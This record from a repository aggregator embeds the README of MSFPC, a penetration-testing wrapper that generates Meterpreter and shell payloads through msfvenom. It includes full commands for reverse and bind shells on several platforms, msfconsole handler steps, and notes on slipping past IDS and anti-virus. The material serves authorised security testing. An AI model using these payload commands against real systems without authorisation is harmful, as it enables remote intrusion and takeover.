{"id":13464851,"url":"https://github.com/g0tmi1k/msfpc","last_synced_at":"2025-04-09T06:06:04.389Z","repository":{"id":34067518,"uuid":"37855254","full_name":"g0tmi1k/msfpc","owner":"g0tmi1k","description":"MSFvenom Payload Creator (MSFPC)","archived":false,"fork":false,"pushed_at":"2021-05-09T13:16:07.000Z","size":68,"stargazers_count":1255,"open_issues_count":8,"forks_count":274,"subscribers_count":78,"default_branch":"master","last_synced_at":"2025-04-02T04:45:30.638Z","etag":null,"topics":["kali","kali-linux","metasploit","metasploit-framework","mpc","msfpc","msfvenom","msfvenom-payload","payload","payload-generation","payload-generator"],"latest_commit_sha":null,"homepage":"https://blog.g0tmi1k.com/","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/g0tmi1k.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2015-06-22T12:58:04.000Z","updated_at":"2025-03-30T21:31:49.000Z","dependencies_parsed_at":"2022-07-16T13:16:04.537Z","dependency_job_id":null,"html_url":"https://github.com/g0tmi1k/msfpc","commit_stats":null,"previous_names":[],"tags_count":13,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/g0tmi1k%2Fmsfpc","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/g0tmi1k%2Fmsfpc/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/g0tmi1k%2Fmsfpc/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/g0tmi1k%2Fmsfpc/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/g0tmi1k","download_url":"https://codeload.github.com/g0tmi1k/msfpc/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247987184,"owners_count":21028891,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["kali","kali-linux","metasploit","metasploit-framework","mpc","msfpc","msfvenom","msfvenom-payload","payload","payload-generation","payload-generator"],"created_at":"2024-07-31T14:00:51.621Z","updated_at":"2025-04-09T06:06:04.289Z","avatar_url":"https://github.com/g0tmi1k.png","language":"Shell","funding_links":[],"categories":["Shell","Uncategorized","\u003ca id=\"1233584261c0cd5224b6e90a98cc9a94\"\u003e\u003c/a\u003e渗透\u0026\u0026offensive\u0026\u0026渗透框架\u0026\u0026后渗透框架","Tools","Shell (473)","\u003ca id=\"783f861b9f822127dba99acb55687cbb\"\u003e\u003c/a\u003e工具"],"sub_categories":["Uncategorized","\u003ca id=\"80301821d0f5d8ec2dd3754ebb1b4b10\"\u003e\u003c/a\u003ePayload\u0026\u0026远控\u0026\u0026RAT","\u003ca id=\"ad92f6b801a18934f1971e2512f5ae4f\"\u003e\u003c/a\u003ePayload生成"],"readme":"## MSFvenom Payload Creator (MSFPC)\n\nA **quick** way to generate various \"basic\" Meterpreter payloads via `msfvenom` (part of the Metasploit framework).\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"http://i.imgur.com/rOqMdwp.png\" alt=\"msfpc logo\"/\u003e\n\u003c/p\u003e\n\n\n- - -\n\n\n## About\n\nMSFvenom Payload Creator (MSFPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.\n\n**Fully automating** msfvenom \u0026 Metasploit is the end goal _(well as to be be able to automate MSFPC itself)_.\nThe rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands**, **batch payload production** and able to enter **any argument in any order** _(in various formats/patterns)_).\n\nThe only necessary input from the user should be **defining the payload** they want by either the **platform** (e.g. `windows`), or the **file extension** they wish the payload to have (e.g. `exe`).\n\n* **Can't remember your IP for a interface? Don't sweat it, just use the interface name**: `eth0`.\n* **Don't know what your external IP is? MSFPC will discover it**: `wan`.\n* **Want to generate one of each payload? No issue!** Try: `loop`.\n* **Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem**. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!\n\n_Note: This will **NOT** try to bypass any anti-virus solutions at any stage._\n\n![Msfvenom Payload Creator (MSFPC)](https://i.imgur.com/tN9q5iG.png)\n\n\n- - -\n\n\n## Install\n\n+ Designed for **Kali Linux v2.x/Rolling** \u0026 **Metasploit v4.11+**.\n+ Kali v1.x should work.\n+ OSX 10.11+ should work.\n+ Weakerth4n 6+ should work.\n+ _...nothing else has been tested._\n\n```\n$ curl -k -L \"https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh\" \u003e /usr/local/bin/msfpc\n$ chmod 0755 /usr/local/bin/msfpc\n```\n\n### Kali-Linux\n\nMSFPC is already [packaged](https://pkg.kali.org/pkg/msfpc) in [Kali Rolling](https://www.kali.org/), so all you have to-do is:\n\n```bash\nroot@kali:~# apt install -y msfpc\n```\n\n\n\n- - -\n\n\n## Help\n\n```\n$ bash msfpc.sh -h -v\n [*] MSFvenom Payload Creator (MSFPC v1.4.4)\n\n msfpc.sh \u003cTYPE\u003e (\u003cDOMAIN/IP\u003e) (\u003cPORT\u003e) (\u003cCMD/MSF\u003e) (\u003cBIND/REVERSE\u003e) (\u003cSTAGED/STAGELESS\u003e) (\u003cTCP/HTTP/HTTPS/FIND_PORT\u003e) (\u003cBATCH/LOOP\u003e) (\u003cVERBOSE\u003e)\n   Example: msfpc.sh windows 192.168.1.10        # Windows \u0026 manual IP.\n            msfpc.sh elf bind eth0 4444          # Linux, eth0's IP \u0026 manual port.\n            msfpc.sh stageless cmd py https      # Python, stageless command prompt.\n            msfpc.sh verbose loop eth1           # A payload for every type, using eth1's IP.\n            msfpc.sh msf batch wan               # All possible Meterpreter payloads, using WAN IP.\n            msfpc.sh help verbose                # Help screen, with even more information.\n\n \u003cTYPE\u003e:\n   + APK\n   + ASP\n   + ASPX\n   + Bash [.sh]\n   + Java [.jsp]\n   + Linux [.elf]\n   + OSX [.macho]\n   + Perl [.pl]\n   + PHP\n   + Powershell [.ps1]\n   + Python [.py]\n   + Tomcat [.war]\n   + Windows [.exe // .dll]\n\n Rather than putting \u003cDOMAIN/IP\u003e, you can do a interface and MSFPC will detect that IP address.\n Missing \u003cDOMAIN/IP\u003e will default to the IP menu.\n\n Missing \u003cPORT\u003e will default to 443.\n\n \u003cCMD\u003e is a standard/native command prompt/terminal to interactive with.\n \u003cMSF\u003e is a custom cross platform shell, gaining the full power of Metasploit.\n Missing \u003cCMD/MSF\u003e will default to \u003cMSF\u003e where possible.\n   Note: Metasploit doesn't (yet!) support \u003cCMD/MSF\u003e for every \u003cTYPE\u003e format.\n \u003cCMD\u003e payloads are generally smaller than \u003cMSF\u003e and easier to bypass EMET. Limit Metasploit post modules/scripts support.\n \u003cMSF\u003e payloads are generally much larger than \u003cCMD\u003e, as it comes with more features.\n\n \u003cBIND\u003e opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.\n \u003cREVERSE\u003e makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.\n Missing \u003cBIND/REVERSE\u003e will default to \u003cREVERSE\u003e.\n \u003cBIND\u003e allows for the attacker to connect whenever they wish. \u003cREVERSE\u003e needs to the target to be repeatedly connecting back to permanent maintain access.\n\n \u003cSTAGED\u003e splits the payload into parts, making it smaller but dependent on Metasploit.\n \u003cSTAGELESS\u003e is the complete standalone payload. More 'stable' than \u003cSTAGED\u003e.\n Missing \u003cSTAGED/STAGELESS\u003e will default to \u003cSTAGED\u003e where possible.\n   Note: Metasploit doesn't (yet!) support \u003cSTAGED/STAGELESS\u003e for every \u003cTYPE\u003e format.\n \u003cSTAGED\u003e are 'better' in low-bandwidth/high-latency environments.\n \u003cSTAGELESS\u003e are seen as 'stealthier' when bypassing Anti-Virus protections. \u003cSTAGED\u003e may work 'better' with IDS/IPS.\n More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads\n                   https://www.offensive-security.com/metasploit-unleashed/payload-types/\n                   https://www.offensive-security.com/metasploit-unleashed/payloads/\n\n \u003cTCP\u003e is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.\n \u003cHTTP\u003e makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.\n \u003cHTTPS\u003e makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.\n \u003cFIND_PORT\u003e will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on \u003cTYPE\u003e.\n Missing \u003cTCP/HTTP/HTTPS/FIND_PORT\u003e will default to \u003cTCP\u003e.\n By altering the traffic, such as \u003cHTTP\u003e and even more \u003cHTTPS\u003e, it will slow down the communication \u0026 increase the payload size.\n More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication\n\n \u003cBATCH\u003e will generate as many combinations as possible: \u003cTYPE\u003e, \u003cCMD + MSF\u003e, \u003cBIND + REVERSE\u003e, \u003cSTAGED + STAGLESS\u003e \u0026 \u003cTCP + HTTP + HTTPS + FIND_PORT\u003e\n \u003cLOOP\u003e will just create one of each \u003cTYPE\u003e.\n\n \u003cVERBOSE\u003e will display more information.\n$\n```\n\n\n## Example \\#1 (Windows, Fully Automated Using Manual IP)\n\n```bash\n$ bash msfpc.sh windows 192.168.1.10\n [*] MSFvenom Payload Creator (MSFPC v1.4.4)\n [i]   IP: 192.168.1.10\n [i] PORT: 443\n [i] TYPE: windows (windows/meterpreter/reverse_tcp)\n [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \\\n  --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \\\n  \u003e '/root/windows-meterpreter-staged-reverse-tcp-443.exe'\n\n [i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'\n\n [i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'\n [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'\n [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080\n [*] Done!\n$\n```\n\n\n## Example \\#2 (Linux Format, Fully Automated Using Manual Interface and Port)\n\n```bash\n$ ./msfpc.sh elf bind eth0 4444 verbose\n [*] MSFvenom Payload Creator (MSFPC v1.4.4)\n [i]        IP: 192.168.103.142\n [i]      PORT: 4444\n [i]      TYPE: linux (linux/x86/shell/bind_tcp)\n [i]     SHELL: shell\n [i] DIRECTION: bind\n [i]     STAGE: staged\n [i]    METHOD: tcp\n [i]       CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \\\n  --platform linux -a x86 -e generic/none  LPORT=4444 \\\n  \u003e '/root/linux-shell-staged-bind-tcp-4444.elf'\n\n [i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'\n\n [i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size\n [i] Size: 4.0K\n [i]  MD5: eed4623b765eea623f2e0206b63aad61\n [i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185\n\n [i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'\n [i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'\n [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080\n [*] Done!\n$\n```\n\n\n## Example \\#3 (Python Format, Interactive IP Menu)\n\n```bash\n$ msfpc stageless cmd py tcp\n [*] MSFvenom Payload Creator (MSFPC v1.4.4)\n\n [i] Use which interface - IP address?:\n [i]   1.) eth0 - 192.168.103.142\n [i]   2.) lo - 127.0.0.1\n [i]   3.) wan - 31.204.154.174\n [?] Select 1-3, interface or IP address: 1\n\n [i]   IP: 192.168.103.142\n [i] PORT: 443\n [i] TYPE: python (python/shell_reverse_tcp)\n [i]  CMD: msfvenom -p python/shell_reverse_tcp -f raw \\\n  --platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \\\n  \u003e '/root/python-shell-stageless-reverse-tcp-443.py'\n\n [i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'\n\n [i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'\n [i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'\n [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080\n [*] Done!\n$\n```\n\n_Note: Removed WAN IP._\n\n\n## Example \\#4 (Loop - Generates one of everything)\n\n```bash\n$ ./msfpc.sh loop wan\n [*] MSFvenom Payload Creator (MSFPC v1.4.4)\n [i] Loop Mode. Creating one of each TYPE, with default values\n\n [*] MSFvenom Payload Creator (MSFPC v1.4.4)\n [i]   IP: xxx.xxx.xxx.xxx\n [i] PORT: 443\n [i] TYPE: android (android/meterpreter/reverse_tcp)\n [i]  CMD: msfvenom -p android/meterpreter/reverse_tcp \\\n  LHOST=xxx.xxx.xxx.xxx LPORT=443 \\\n  \u003e '/root/android-meterpreter-stageless-reverse-tcp-443.apk'\n\n [i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'\n\n [i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'\n [i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'\n [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080\n [*] Done!\n\n\n [*] MSFvenom Payload Creator (MSFPC v1.4.4)\n\n...SNIP...\n\n [*] Done!\n\n$\n```\n\n_Note: Removed WAN IP._\n\n\n![Examples](https://i.imgur.com/8zPx6p3.png)\n\n\n- - -\n\n\n## To-Do List\n\n* Shellcode generation\n* x64 payloads\n* IPv6 support\n* Look into using OS scripting more _(`powershell_bind_tcp` \u0026 `bind_perl` etc)_\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fg0tmi1k%2Fmsfpc","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fg0tmi1k%2Fmsfpc","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fg0tmi1k%2Fmsfpc/lists"}